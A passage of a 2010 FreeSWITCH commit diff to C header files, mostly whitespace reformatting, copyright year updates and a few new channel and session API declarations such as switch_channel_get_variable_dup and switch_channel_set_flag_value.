-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
const char *varname, const char *value, switch_bool_t var_check);
SWITCH_DECLARE(const char *) switch_channel_get_variable_partner(switch_channel_t *channel, const char *varname);
@@ -250,7 +251,9 @@
\param varname the name of the variable
\return the value of the requested variable
*/
-SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname);
+SWITCH_DECLARE(const char *) switch_channel_get_variable_dup(switch_channel_t *channel, const char *varname, switch_bool_t dup);
+#define switch_channel_get_variable(_c, _v) switch_channel_get_variable_dup(_c, _v, SWITCH_TRUE)
+
SWITCH_DECLARE(switch_status_t) switch_channel_get_variables(switch_channel_t *channel, switch_event_t **event);
SWITCH_DECLARE(switch_status_t) switch_channel_pass_callee_id(switch_channel_t *channel, switch_channel_t *other_channel);
@@ -300,10 +303,14 @@
\param channel channel on which to set flag
\param flag or'd list of flags to set
*/
-SWITCH_DECLARE(void) switch_channel_set_flag(switch_channel_t *channel, switch_channel_flag_t flag);
+SWITCH_DECLARE(void) switch_channel_set_flag_value(switch_channel_t *channel, switch_channel_flag_t flag, uint32_t value);
+#define switch_channel_set_flag(_c, _f) switch_channel_set_flag_value(_c, _f, 1)
+
SWITCH_DECLARE(void) switch_channel_set_flag_recursive(switch_channel_t *channel, switch_channel_flag_t flag);
-SWITCH_DECLARE(void) switch_channel_set_cap(switch_channel_t *channel, switch_channel_cap_t cap);
+SWITCH_DECLARE(void) switch_channel_set_cap_value(switch_channel_t *channel, switch_channel_cap_t cap, uint32_t value);
+#define switch_channel_set_cap(_c, _cc) switch_channel_set_cap_value(_c, _cc, 1)
+
SWITCH_DECLARE(void) switch_channel_clear_cap(switch_channel_t *channel, switch_channel_cap_t cap);
SWITCH_DECLARE(uint32_t) switch_channel_test_cap(switch_channel_t *channel, switch_channel_cap_t cap);
@@ -338,6 +345,7 @@
\param flag flag to clear
*/
SWITCH_DECLARE(void) switch_channel_clear_flag(switch_channel_t *channel, switch_channel_flag_t flag);
+
SWITCH_DECLARE(void) switch_channel_clear_flag_recursive(switch_channel_t *channel, switch_channel_flag_t flag);
SWITCH_DECLARE(switch_status_t) switch_channel_perform_answer(switch_channel_t *channel, const char *file, const char *func, int line);
@@ -539,7 +547,9 @@
SWITCH_DECLARE(int) switch_channel_test_app_flag(switch_channel_t *channel, uint32_t flags);
SWITCH_DECLARE(void) switch_channel_set_hangup_time(switch_channel_t *channel);
SWITCH_DECLARE(switch_call_direction_t) switch_channel_direction(switch_channel_t *channel);
-SWITCH_DECLARE(switch_core_session_t*) switch_channel_get_session(switch_channel_t *channel);
+SWITCH_DECLARE(switch_core_session_t *) switch_channel_get_session(switch_channel_t *channel);
+SWITCH_DECLARE(char *) switch_channel_get_flag_string(switch_channel_t *channel);
+SWITCH_DECLARE(char *) switch_channel_get_cap_string(switch_channel_t *channel);
/** @} */
Modified: freeswitch/trunk/src/include/switch_config.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_config.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_config.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/include/switch_console.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_console.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_console.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -81,12 +81,12 @@
SWITCH_DECLARE(switch_status_t) switch_console_shutdown(void);
SWITCH_DECLARE(switch_status_t) switch_console_add_complete_func(const char *name, switch_console_complete_callback_t cb);
SWITCH_DECLARE(switch_status_t) switch_console_del_complete_func(const char *name);
-SWITCH_DECLARE(switch_status_t) switch_console_run_complete_func(const char *func, const char *line,
+SWITCH_DECLARE(switch_status_t) switch_console_run_complete_func(const char *func, const char *line,
const char *last_word, switch_console_callback_match_t **matches);
SWITCH_DECLARE(void) switch_console_push_match(switch_console_callback_match_t **matches, const char *new_val);
SWITCH_DECLARE(void) switch_console_free_matches(switch_console_callback_match_t **matches);
-SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *last_word,
- FILE *console_out, switch_stream_handle_t *stream, switch_xml_t xml);
+SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *last_word,
+ FILE * console_out, switch_stream_handle_t *stream, switch_xml_t xml);
SWITCH_DECLARE(void) switch_console_sort_matches(switch_console_callback_match_t *matches);
SWITCH_DECLARE(void) switch_console_save_history(void);
SWITCH_DECLARE(char *) switch_console_expand_alias(char *cmd, char *arg);
Modified: freeswitch/trunk/src/include/switch_core.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_core.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -369,7 +369,8 @@
#ifdef SWITCH_DEBUG_RWLOCKS
-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_read_lock_hangup(_In_ switch_core_session_t *session, const char *file, const char *func, int line);
+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_read_lock_hangup(_In_ switch_core_session_t *session, const char *file, const char *func,
+ int line);
#endif
/*!
@@ -595,6 +596,9 @@
SWITCH_DECLARE(switch_memory_pool_t *) switch_core_session_get_pool(_In_ switch_core_session_t *session);
///\}
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_xml(switch_endpoint_interface_t *endpoint_interface,
+ switch_memory_pool_t **pool, switch_xml_t xml);
+
///\defgroup sessm Session Creation / Management
///\ingroup core1
///\{
@@ -604,7 +608,7 @@
\param pool the pool to use for the allocation (a new one will be used if NULL)
\return the newly created session
*/
-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface,
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface,
_In_ switch_call_direction_t direction,
_Inout_opt_ switch_memory_pool_t **pool, _In_opt_z_ const char *use_uuid);
#define switch_core_session_request(_ep, _d, _p) switch_core_session_request_uuid(_ep, _d, _p, NULL)
@@ -645,9 +649,8 @@
\param pool the pool to use
\return the newly created session
*/
-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name,
- _In_ switch_call_direction_t direction,
- _Inout_ switch_memory_pool_t **pool);
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name,
+ _In_ switch_call_direction_t direction, _Inout_ switch_memory_pool_t **pool);
/*!
\brief Launch the session thread (state machine) on a given session
@@ -963,7 +966,8 @@
_In_z_ const char *endpoint_name,
_In_ switch_caller_profile_t *caller_profile,
_Inout_ switch_core_session_t **new_session,
- _Inout_ switch_memory_pool_t **pool, _In_ switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ _Inout_ switch_memory_pool_t **pool, _In_ switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
SWITCH_DECLARE(switch_call_cause_t) switch_core_session_resurrect_channel(_In_z_ const char *endpoint_name,
_Inout_ switch_core_session_t **new_session,
@@ -975,7 +979,7 @@
\param message the message to recieve
\return the status returned by the message handler
*/
-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(_In_ switch_core_session_t *session,
+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(_In_ switch_core_session_t *session,
_In_ switch_core_session_message_t *message,
const char *file, const char *func, int line);
#define switch_core_session_receive_message(_session, _message) switch_core_session_perform_receive_message(_session, _message, \
@@ -1013,7 +1017,8 @@
\param priority event has high priority
\return the status returned by the message handler
*/
-SWITCH_DECLARE(switch_status_t) switch_core_session_queue_private_event(_In_ switch_core_session_t *session, _Inout_ switch_event_t **event, switch_bool_t priority);
+SWITCH_DECLARE(switch_status_t) switch_core_session_queue_private_event(_In_ switch_core_session_t *session, _Inout_ switch_event_t **event,
+ switch_bool_t priority);
/*!
@@ -1381,10 +1386,10 @@
SWITCH_DECLARE(void) switch_core_session_unlock_codec_read(_In_ switch_core_session_t *session);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
/*!
@@ -1636,8 +1641,7 @@
\param flags flags in/out for fine tuning
\return SWITCH_STATUS_SUCCESS with len adjusted to the bytes written if successful
*/
-SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
- void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
+SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
/*!
\brief Close an open speech handle
\param sh the speech handle to close
@@ -1907,7 +1911,7 @@
/*!
\brief Launch a thread
*/
-SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC *func) (switch_thread_t *, void *),
+SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC * func) (switch_thread_t *, void *),
void *obj, switch_memory_pool_t *pool);
#endif
@@ -1970,7 +1974,7 @@
SWITCH_DECLARE(int) switch_system(const char *cmd, switch_bool_t wait);
SWITCH_DECLARE(void) switch_cond_yield(switch_interval_time_t t);
SWITCH_DECLARE(void) switch_cond_next(void);
-SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
+SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
const char *subject, const char *body, const char *type, const char *hint);
SWITCH_DECLARE(switch_status_t) switch_ivr_preprocess_session(switch_core_session_t *session, const char *cmds);
@@ -1982,51 +1986,51 @@
*/
#define CACHE_DB_LEN 256
-typedef enum {
- CDF_INUSE = (1 << 0)
-} cache_db_flag_t;
+ typedef enum {
+ CDF_INUSE = (1 << 0)
+ } cache_db_flag_t;
-typedef enum {
- SCDB_TYPE_CORE_DB,
- SCDB_TYPE_ODBC
-} switch_cache_db_handle_type_t;
+ typedef enum {
+ SCDB_TYPE_CORE_DB,
+ SCDB_TYPE_ODBC
+ } switch_cache_db_handle_type_t;
-typedef union {
- switch_core_db_t *core_db_dbh;
- switch_odbc_handle_t *odbc_dbh;
-} switch_cache_db_native_handle_t;
+ typedef union {
+ switch_core_db_t *core_db_dbh;
+ switch_odbc_handle_t *odbc_dbh;
+ } switch_cache_db_native_handle_t;
-typedef struct {
- char *db_path;
-} switch_cache_db_core_db_options_t;
+ typedef struct {
+ char *db_path;
+ } switch_cache_db_core_db_options_t;
-typedef struct {
- char *dsn;
- char *user;
- char *pass;
-} switch_cache_db_odbc_options_t;
+ typedef struct {
+ char *dsn;
+ char *user;
+ char *pass;
+ } switch_cache_db_odbc_options_t;
-typedef union {
- switch_cache_db_core_db_options_t core_db_options;
- switch_cache_db_odbc_options_t odbc_options;
-} switch_cache_db_connection_options_t;
+ typedef union {
+ switch_cache_db_core_db_options_t core_db_options;
+ switch_cache_db_odbc_options_t odbc_options;
+ } switch_cache_db_connection_options_t;
-typedef struct {
- char name[CACHE_DB_LEN];
- switch_cache_db_handle_type_t type;
- switch_cache_db_native_handle_t native_handle;
- time_t last_used;
- switch_mutex_t *mutex;
- switch_mutex_t *io_mutex;
- switch_memory_pool_t *pool;
- int32_t flags;
- unsigned long hash;
- char creator[CACHE_DB_LEN];
- char last_user[CACHE_DB_LEN];
-} switch_cache_db_handle_t;
+ typedef struct {
+ char name[CACHE_DB_LEN];
+ switch_cache_db_handle_type_t type;
+ switch_cache_db_native_handle_t native_handle;
+ time_t last_used;
+ switch_mutex_t *mutex;
+ switch_mutex_t *io_mutex;
+ switch_memory_pool_t *pool;
+ int32_t flags;
+ unsigned long hash;
+ char creator[CACHE_DB_LEN];
+ char last_user[CACHE_DB_LEN];
+ } switch_cache_db_handle_t;
-static inline const char *switch_cache_db_type_name(switch_cache_db_handle_type_t type)
+ static inline const char *switch_cache_db_type_name(switch_cache_db_handle_type_t type)
{
const char *type_str = "INVALID";
@@ -2046,9 +2050,9 @@
return type_str;
}
-SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t **dbh);
-SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t **dbh);
-SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t **dbh,
+SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t ** dbh);
+SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t ** dbh);
+SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t ** dbh,
switch_cache_db_handle_type_t type,
switch_cache_db_connection_options_t *connection_options,
const char *file, const char *func, int line);
@@ -2056,14 +2060,14 @@
SWITCH_DECLARE(char *) switch_cache_db_execute_sql2str(switch_cache_db_handle_t *dbh, char *sql, char *str, size_t len, char **err);
SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql(switch_cache_db_handle_t *dbh, char *sql, char **err);
-SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, const char *sql,
+SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, const char *sql,
switch_core_db_callback_func_t callback, void *pdata, char **err);
SWITCH_DECLARE(void) switch_cache_db_status(switch_stream_handle_t *stream);
-SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t **dbh, const char *file, const char *func, int line);
+SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t ** dbh, const char *file, const char *func, int line);
#define switch_core_db_handle(_a) _switch_core_db_handle(_a, __FILE__, __SWITCH_FUNC__, __LINE__)
-SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *db,
+SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *db,
const char *test_sql, const char *drop_sql, const char *reactive_sql);
SWITCH_DECLARE(switch_status_t) switch_cache_db_persistant_execute(switch_cache_db_handle_t *dbh, const char *sql, uint32_t retries);
SWITCH_DECLARE(switch_status_t) switch_cache_db_persistant_execute_trans(switch_cache_db_handle_t *dbh, char *sql, uint32_t retries);
Modified: freeswitch/trunk/src/include/switch_core_db.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_core_db.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core_db.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/include/switch_core_event_hook.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_core_event_hook.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core_event_hook.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -47,7 +47,7 @@
typedef struct switch_io_event_hook_state_change switch_io_event_hook_state_change_t;
typedef struct switch_io_event_hook_resurrect_session switch_io_event_hook_resurrect_session_t;
typedef switch_status_t (*switch_outgoing_channel_hook_t)
- (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t *, switch_originate_flag_t);
+ (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t *, switch_originate_flag_t);
typedef switch_status_t (*switch_receive_message_hook_t) (switch_core_session_t *, switch_core_session_message_t *);
typedef switch_status_t (*switch_receive_event_hook_t) (switch_core_session_t *, switch_event_t *);
typedef switch_status_t (*switch_read_frame_hook_t) (switch_core_session_t *, switch_frame_t **, switch_io_flag_t, int);
Modified: freeswitch/trunk/src/include/switch_dso.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_dso.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_dso.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -25,10 +25,10 @@
#ifdef WIN32
typedef HINSTANCE switch_dso_lib_t;
#else
-typedef void * switch_dso_lib_t;
+typedef void *switch_dso_lib_t;
#endif
-typedef void * switch_dso_data_t;
+typedef void *switch_dso_data_t;
SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib);
SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err);
@@ -48,4 +48,3 @@
* For VIM:
* vim:set softtabstop=4 shiftwidth=4 tabstop=4
*/
-
Modified: freeswitch/trunk/src/include/switch_event.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_event.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_event.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -237,7 +237,7 @@
\param node bind handle to later remove the binding.
\return SWITCH_STATUS_SUCCESS if the event was binded
*/
-SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
+SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
switch_event_callback_t callback, void *user_data, switch_event_node_t **node);
/*!
\brief Unbind a bound event consumer
@@ -342,15 +342,16 @@
*/
#define switch_event_create(event, id) switch_event_create_subclass(event, id, SWITCH_EVENT_SUBCLASS_ANY)
-static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
+ static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
{
switch_status_t status = switch_event_create(event, SWITCH_EVENT_CLONE);
if (status == SWITCH_STATUS_SUCCESS) {
(*event)->event_id = event_id;
}
-
+
return status;
}
+
/*!
\brief Deliver an event to all of the registered event listeners
\param event the event to send (will be nulled)
Modified: freeswitch/trunk/src/include/switch_frame.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_frame.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_frame.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -46,7 +46,7 @@
/*! the originating source of the frame */
const char *source;
/*! the raw packet */
- void *packet;
+ void *packet;
/*! the size of the raw packet when applicable */
uint32_t packetlen;
/*! the extra frame data */
Modified: freeswitch/trunk/src/include/switch_ivr.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_ivr.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_ivr.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -123,7 +123,8 @@
\param timeout a timeout in milliseconds
\return SWITCH_STATUS_SUCCESS to keep the collection moving.
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout, uint32_t abs_timeout);
+SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout,
+ uint32_t abs_timeout);
/*!
\brief Wait for specified number of DTMF digits, untile terminator is received or until the channel hangs up.
@@ -304,7 +305,7 @@
*/
SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
const char *key, const char *tone_spec,
- const char *flags, time_t timeout, int hits,
+ const char *flags, time_t timeout, int hits,
const char *app, const char *data, switch_tone_detect_callback_t callback);
@@ -321,7 +322,7 @@
SWITCH_DECLARE(switch_status_t) switch_ivr_play_file(switch_core_session_t *session, switch_file_handle_t *fh, const char *file,
switch_input_args_t *args);
-SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_silence(switch_core_session_t *session, uint32_t thresh, uint32_t silence_hits,
+SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_silence(switch_core_session_t *session, uint32_t thresh, uint32_t silence_hits,
uint32_t listen_hits, uint32_t timeout_ms, const char *file);
SWITCH_DECLARE(switch_status_t) switch_ivr_gentones(switch_core_session_t *session, const char *script, int32_t loops, switch_input_args_t *args);
@@ -408,11 +409,8 @@
const switch_state_handler_table_t *table,
const char *cid_name_override,
const char *cid_num_override,
- switch_caller_profile_t *caller_profile_override,
- switch_event_t *ovars,
- switch_originate_flag_t flags,
- switch_call_cause_t *cancel_cause
- );
+ switch_caller_profile_t *caller_profile_override,
+ switch_event_t *ovars, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
SWITCH_DECLARE(switch_status_t) switch_ivr_enterprise_originate(switch_core_session_t *session,
switch_core_session_t **bleg,
@@ -422,10 +420,8 @@
const switch_state_handler_table_t *table,
const char *cid_name_override,
const char *cid_num_override,
- switch_caller_profile_t *caller_profile_override,
- switch_event_t *ovars,
- switch_originate_flag_t flags
- );
+ switch_caller_profile_t *caller_profile_override,
+ switch_event_t *ovars, switch_originate_flag_t flags);
SWITCH_DECLARE(void) switch_ivr_bridge_display(switch_core_session_t *session, switch_core_session_t *peer_session);
@@ -571,17 +567,17 @@
/******************************************************************************************************/
-struct switch_ivr_digit_stream_parser;
-typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
-struct switch_ivr_digit_stream;
-typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
+ struct switch_ivr_digit_stream_parser;
+ typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
+ struct switch_ivr_digit_stream;
+ typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
/*!
\brief Create a digit stream parser object
\param pool the pool to use for the new hash
\param parser a pointer to the object pointer
\return SWITCH_STATUS_SUCCESS if all is well
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t **parser);
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t ** parser);
/*!
\brief Destroy a digit stream parser object
@@ -596,14 +592,14 @@
\param stream a pointer to the stream object pointer
\return NULL if no match found or consumer data that was associated with a given digit string when matched
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t **stream);
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t ** stream);
/*!
\brief Destroys a digit stream object
\param stream a pointer to the stream object
\return NULL if no match found or consumer data that was associated with a given digit string when matched
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream);
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t ** stream);
/*!
\brief Set a digit string to action mapping
@@ -660,25 +656,25 @@
* @{
*/
-typedef enum {
- SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 << 0),
- SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 << 1),
- SWITCH_IVR_MENU_FLAG_STACK = (1 << 2)
-} switch_ivr_menu_flags;
+ typedef enum {
+ SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 << 0),
+ SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 << 1),
+ SWITCH_IVR_MENU_FLAG_STACK = (1 << 2)
+ } switch_ivr_menu_flags;
/* Actions are either set in switch_ivr_menu_bind_function or returned by a callback */
-typedef enum {
- SWITCH_IVR_ACTION_DIE, /* Exit the menu. */
- SWITCH_IVR_ACTION_EXECMENU, /* Goto another menu in the stack. */
- SWITCH_IVR_ACTION_EXECAPP, /* Execute an application. */
- SWITCH_IVR_ACTION_PLAYSOUND, /* Play a sound. */
- SWITCH_IVR_ACTION_BACK, /* Go back 1 menu. */
- SWITCH_IVR_ACTION_TOMAIN, /* Go back to the top level menu. */
- SWITCH_IVR_ACTION_NOOP /* No operation */
-} switch_ivr_action_t;
-struct switch_ivr_menu;
-typedef switch_ivr_action_t switch_ivr_menu_action_function_t (struct switch_ivr_menu *, char *, char *, size_t, void *);
-typedef struct switch_ivr_menu switch_ivr_menu_t;
-typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
+ typedef enum {
+ SWITCH_IVR_ACTION_DIE, /* Exit the menu. */
+ SWITCH_IVR_ACTION_EXECMENU, /* Goto another menu in the stack. */
+ SWITCH_IVR_ACTION_EXECAPP, /* Execute an application. */
+ SWITCH_IVR_ACTION_PLAYSOUND, /* Play a sound. */
+ SWITCH_IVR_ACTION_BACK, /* Go back 1 menu. */
+ SWITCH_IVR_ACTION_TOMAIN, /* Go back to the top level menu. */
+ SWITCH_IVR_ACTION_NOOP /* No operation */
+ } switch_ivr_action_t;
+ struct switch_ivr_menu;
+ typedef switch_ivr_action_t switch_ivr_menu_action_function_t(struct switch_ivr_menu *, char *, char *, size_t, void *);
+ typedef struct switch_ivr_menu switch_ivr_menu_t;
+ typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
/******************************************************************************************************/
/*!
@@ -703,7 +699,7 @@
*\return SWITCH_STATUS_SUCCESS if the menu was created.
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t **new_menu,
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t ** new_menu,
switch_ivr_menu_t *main,
const char *name,
const char *greeting_sound,
@@ -715,7 +711,7 @@
const char *tts_engine,
const char *tts_voice,
int confirm_attempts,
- int inter_timeout, int digit_len, int timeout, int max_failures,
+ int inter_timeout, int digit_len, int timeout, int max_failures,
int max_timeouts, switch_memory_pool_t *pool);
/*!
@@ -726,8 +722,7 @@
*\param bind KeyStrokes to bind the action to.
*\return SWUTCH_STATUS_SUCCESS if the action was binded
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg,
- const char *bind);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind);
/*!
@@ -762,8 +757,8 @@
*/
SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t *stack);
-struct switch_ivr_menu_xml_ctx;
-typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
+ struct switch_ivr_menu_xml_ctx;
+ typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
/*!
*\brief Build a menu stack from an xml source
*\param xml_menu_ctx The XML menu parser context previously created by switch_ivr_menu_stack_xml_init
@@ -773,7 +768,7 @@
